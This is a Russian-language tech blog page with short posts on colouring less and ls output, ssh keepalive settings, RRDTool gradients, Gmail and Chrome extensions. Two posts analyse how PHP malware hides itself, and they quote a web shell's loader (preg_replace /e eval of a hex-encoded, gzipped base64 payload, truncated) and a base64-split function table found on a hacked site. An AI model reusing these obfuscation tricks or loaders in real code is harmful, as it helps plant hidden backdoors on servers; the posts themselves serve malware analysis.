Colored less, grep and ls

В одной старой заметке я рассказывал, как раскрасить вывод ls в tcsh (csh). Все работает хорошо до тех пор, пока вы не перенаправите вывод команды ls через пайп | другой команде, например less.

Раскрашенный вывод содержит специальные Escape-последовательности, которые обозначают начало и конец блока текста, который нужно, например, выделить, раскрасить или подчеркнуть. Если передать такой текст команде, которая его не понимает (или не отображает без специального ключа), она выведет на экран или в файл все эти добавленные символы.

Раскрашиваем less и more (colored less and more)

less и more поддерживают отображение раскрашенного вывода, но чтобы они его отображали корректно, т.е. в раскрашенном виде, нужен ключ –R:

<command> | less -R
<command | more -R

Можно добавить в файл настроек .cshrc:

alias less less -R

less (он же more*) еще умеет отображать man в раскрашенном виде (по умолчанию, там есть раскрашивание). man использует more для отображения вывода:

     -P pager  Specify which pager to use.  By default, man uses ``more -s''.
               This option overrides the PAGER environment variable.

* убедитесь сами, less и more – один и тот же файл:

ls -laio /usr/bin/less /usr/bin/more

Для того, чтобы man был раскрашен в цвета, добавьте в .cshrc строки:

Читать далее

keep alive ssh

Памятка. Чтобы не отваливалась ssh-сессия нужно в файле

$HOME/.ssh/config

прописать:

TCPKeepAlive yes
ServerAliveInterval 60

А в putty:

Configuration –> Connection –> Enable TCP keepalives (SO_KEEPALIVE option)

и прописать 60 секунд вместо 0.

RRDTool Graphs with Gradient

CPU Temperature RRD Graph

Захотелось мне странного – чтобы на графике RRD c температурой процессора был градиент вместо простой линии.

То, что вы видите выше – результат моих изысканий, изначально график выглядел примерно так:

trx

Просто полка и не очень ясно, какая там обстановка, пока не глянешь на цифровые значения. А если учесть наличие других графиков на странице, то не заметить перегрев проще простого.

Читать далее

Better than Better GMail

В связи с безвременной кончиной Better GMail и Unofficial Better GMail, нашел замену: Gmelius™Ad Remover and Better UI for Gmail™.

GMail

Из приятного – подсветка строк при наведении и возможность добавлять текст на кнопки “Архивировать”, “В спам!” и “Удалить”. В расширении они на английском языке, но имея в наличии две прямые руки (или, хотя бы, одну), можно открыть файл js/gmail.js, из каталога с расширением (dheionainndbbpoacpnopgmnihkcmnkl), и заменить там строки на русские или украинские.

N.B.

Файл должен быть в кодировке UTF-8. Если откроете в редакторе Notepad++, то выберите в меню:

Кодировка –> UTF-8

Скрытие кода, метод 8

<?php # Web Shell by oRb
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66
\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F
\x64\x65\x28'5b1pdx...Kn6fwE='\x29\x29\x29\x3B",".");?>

Чертовски гениально!) preg_replace ничего не заменяет, а просто выполняет роль eval(), выполняя весь код из второго аргумента!

pattern

Искомый шаблон. Может быть как строкой, так и массивом строк.

Также доступны некоторые модификаторы PCRE, включая ‘e‘ (PREG_REPLACE_EVAL), специфичный только для этой функции.

Раскодировать символы вида “\x65” можно двумя способами:

Читать далее

Ручная установка расширений Google Chrome

Проблема достаточно редкая, поэтому Google на нее просто забили и игнорируют мольбы пользователей ее устранить. Если Виндовс установлена на динамический диск (dynamic disk), расширения не устанавливаются, показывая ошибку:

“Не удается распаковать расширение. Для безопасной распаковки расширения необходим путь к каталогу вашего профиля, начинающийся с буквы диска. Он не должен содержать параметр слияния папок, точку монтирования или символьную ссылку. Такого пути для вашего профиля не существует.”

Ошибка, конечно, мегаинформативная, но программисты такие программисты, что это даже не удивительно. Можно было бы залезть в исходники и ткнуть пальцем в маразм досадную ошибку, но мне это делать лень ;), я нашел другой путь, более простое решение, доступное любому другому пользователю.

Workaround

1. Откройте страницу с понравившимся вам расширением, например
https://chrome.google.com/webstore/detail/hbdkkfheckcdppiaiabobmennhijkknn

2. Cкопируйте из адресной строки идентификатор расширения – hbdkkfheckcdppiaiabobmennhijkknn и вставьте его в строку
https://clients2.google.com/service/update2/crx?response=redirect&x=id%3DXNAME%26uc
вместо слова XNAME.

3. Вставьте получившуюся строку в другой браузер или в менеджер закачек и сохраните (скачайте) файл. У него будет имя, например, “extension_4_7_3.crx”.

4. Переименуйте файл в XNAME.zip, где XNAME – идентификатор расширения.

5. Распакуйте файл в папку XNAME.

6. Перебросьте папку с распакованным расширением в:
X:\Documents and Settings\USERNAME\Local Settings\Application Data\
Google\Chrome\User Data\Default\Extensions\
N.B. Этого можно и не делать, тогда в 9-м пункте просто укажете путь к распакованной папке XNAME.

7. Зайдите в
КЛЮЧ –> Инструменты –> Расширения

8. Нажмите кнопку
[ Загрузить распакованное расширение… ]

9. В Folder: вставьте полный путь к папке XNAME, например:
X:\Documents and Settings\…\Extensions\XNAME
Или тот, куда вы его распаковали, если не делали пункт 6, Chrome сам все скопирует в нужное место.

10. Нажмите [ OK ] и расширение загружено 🙂

Скрытие кода, метод 7

Следующих код был взят из двух файлов, залитых на взломанный сайт. В каждом из файлов код состоял из трех блоков. Первый блок был почти одинаковым, массив функций, закодированный в base64:

$GLOBALS['_482181972_'] = Array(
    base64_decode( 'Z' .'mlsZ' .'V9' .'nZ' .'XRfY29u' .'dGV' .'udHM' .'=' ),
// file_get_contents
    base64_decode( 'c3Ry' .'c' .'G' .'9z' ), // strpos
    base64_decode( 'ZmlsZW10' .'a' .'W' .'1l' ), // filemtime
    base64_decode( 'Zm9wZW4=' ), // fopen
    base64_decode( 'Z' .'ndyaXRl' ), // fwrite
    base64_decode( '' .'ZmN' .'sb3Nl' ), // fclose
    base64_decode( 'dG91Y2g=' ) // touch
);

Различие было в том, что в каждой закодированной строке случайным образом было вставлено “’ .’”. Это исключает поиск в файлах по строке – функции, закодированной в base64.

Читать далее